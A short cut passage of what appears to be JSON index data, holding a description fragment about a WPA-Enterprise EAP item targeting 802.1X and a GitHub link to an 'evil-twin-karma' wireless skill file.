wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]